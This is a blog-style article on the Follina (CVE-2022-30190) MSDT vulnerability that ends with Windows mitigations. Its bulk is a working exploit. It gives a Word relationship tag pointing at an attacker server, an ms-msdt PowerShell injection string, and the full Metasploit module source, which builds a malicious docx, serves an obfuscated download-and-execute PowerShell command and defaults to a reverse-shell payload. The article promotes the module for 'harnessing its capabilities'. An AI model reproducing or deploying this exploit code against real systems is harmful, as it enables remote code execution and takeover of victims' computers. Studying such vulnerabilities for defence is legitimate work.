Understanding and Mitigating CVE-2022-30190 (Follina)

In today’s interconnected world, cybersecurity threats are an ever-present concern.

One such threat that made headlines in 2022 is a vulnerability identified in the Microsoft Windows Support Diagnostic Tool (MSDT), known as CVE-2022-30190 or “Follina”.

This article aims to shed light on this critical issue, how it operates, and the measures taken to alleviate its potential damage.

The Follina Vulnerability Explained

CVE-2022-30190, or “Follina”, is a significant security flaw in MSDT, an integral feature in various Windows operating systems. MSDT acts as an internal mechanic for your computer system, identifying issues and conducting routine checks to ensure optimal performance.

However, imagine a situation where an intruder could manipulate this mechanic into unintentionally providing access to critical areas of your computer system. That’s essentially what happened with CVE-2022-30190.

This Remote Code Execution (RCE) vulnerability allows the execution of arbitrary code when MSDT is invoked using the URL protocol. It particularly gained attention because it had been exploited in real-time, highlighting a crucial security loophole in Windows systems.

Unveiling the Follina Vulnerability: A Multi-Stage Threat Targeting Microsoft Word

Discover the insidious tactics of CVE-2022-30190 (Follina) as we delve into the detailed exploitation steps.

1. Crafting a Malicious Trap

In this initial stage, the exploit leverages a malicious Relationship tag within a Word document’s XML structure to pave the way for further intrusion.

The malevolent “Relationship” tag is strategically hidden within the Word document’s XML structure, allowing for a covert attack.

For instance:

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://10.0.0.28:8000/index.html!" TargetMode="External"/>

This target attribute designates the HTTP server controlled by the threat actor, which hosts the secondary payload in an index.html file.

2. Unleashing the Secondary Payload

Once the Word document is opened, the exploit retrieves and executes an HTML payload. The clever exploitation of the ms-msdt URI scheme allows for establishment of PowerShell execution, enabling the attacker to gain control. Notably, the payload needs to be larger than 4096 bytes to ensure successful execution.

3. Unleashing the Power of PowerShell

A crucial part of the payload involves injecting PowerShell commands through the IT_BrowseForFile parameter. This ultimately leads to the execution of mpsigstub.exe, located in the system directory.

The following snippet demonstrates this exploitation:

ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'bm90ZXBhZA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"

4. Evading Detection with Stealthiness

At present, the activity in question is only identified by a handful of antivirus engines, rendering it both elusive and challenging to detect. Windows real-time protection stands out as one of the few defenses effective at thwarting this activity.

Nevertheless, due to its low detection rate, the possibility of implementing alternative evasion tactics remains a valid concern.

To ensure utmost security, continuous monitoring and the deployment of additional defensive measures are strongly advised in order to counter this stealthy threat effectively.

5. Unveiling Post-Exploitation Possibilities

The exploit is initiated with the execution of mpsigstub.exe, leveraging the permissions of the local user. This not only opens the door for potential privilege escalation but also creates opportunities for lateral movement when combined with other vulnerabilities.

The Follina vulnerability showcases a remarkable exploitation of Microsoft Word’s remote template feature, ms-msdt URI schemes, and parameter handling of msdt.exe.

The fact that it can progress through multiple stages and evade numerous security measures signifies its high level of sophistication, making it a serious threat.

Gain Advanced Control Over Your Security With Follina’s Metasploit module

Discover the powerful Metasploit module designed specifically for Follina. Find the source code to start harnessing its capabilities.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word MSDTJS',
        'Description' => %q{
          This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
          feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
        },
        'References' => [
          ['CVE', '2022-30190'],
          ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
          ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
          ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
          ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
          ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
          ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
        ],
        'Author' => [
          'nao sec', # Original disclosure.
          'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity
        ],
        'DisclosureDate' => '2022-05-29',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'FILENAME' => 'msf.docx',
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
        },
        'Targets' => [
          [ 'Microsoft Office Word', {} ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Follina'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"

    dummy = ''
    (1..random_int(61, 100)).each do |_n|
      dummy += '//' + rand_text_alpha(100) + "\n"
    end

    cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")

    js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += "\n#{dummy}\n#{js_content}\n"
    html += '</script></body></html>'

    html
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str.start_with?('/')
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      send_response(cli, '', header_html)
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.ps1'
      print_status('Sending PowerShell Payload')

      send_response(cli, @payload_data, header_html)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def primer
    print_status('Generating a malicious docx file')

    @proto = (datastore['SSL'] ? 'https' : 'http')

    template_path = get_template_path
    unless File.extname(template_path).downcase.end_with?('.docx')
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in docx document')
    inject_docx

    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)

    @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)

    super
  end

  def random_int(min, max)
    rand(max - min) + min
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.downcase.end_with?('.xml', '.rels')
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

end

This module creates a malicious Microsoft Word document that ingeniously utilizes the remote template feature to retrieve an HTML document. It then employs the ms-msdt scheme to execute PowerShell code, offering unmatched control and precision.

The Impact of Follina

The discovery and subsequent exploitation of Follina unveiled a significant gap in the security framework of Windows systems. The loophole could potentially give unauthorized individuals access to sensitive information or control over essential functions of the computer system. This vulnerability affected a range of Windows systems, including Windows Server versions and Windows 7 Service Pack 1, Windows 8.1, Windows 10, and Windows 11.

Mitigating the Follina Vulnerability

Microsoft promptly provided mitigation guidance and released full patches by mid-June 2022. It is recommended to apply these patches as the first line of defense against this vulnerability. However, it is essential to test these patches in a development environment before deployment to ensure they do not create additional issues.

In cases where patching may be delayed, Microsoft has offered guidance for a workaround. As with the patch, it’s recommended to test this workaround in a development environment first.

Some security solutions, like Kaspersky, offer protection against this vulnerability through specific detection verdicts. Additionally, one can prevent exploitation by disabling the MSDT URL protocol.

To protect your valuable registry data, securely back it up using the command “reg export HKEY_CLASSES_ROOT\ms-msdt filename.” And when you no longer need the specified registry key, confidently delete it by running “reg delete HKEY_CLASSES_ROOT\ms-msdt /f.”

Remember, cybersecurity is a shared responsibility. Staying informed and taking appropriate action to mitigate such vulnerabilities is a crucial part of maintaining a secure digital environment.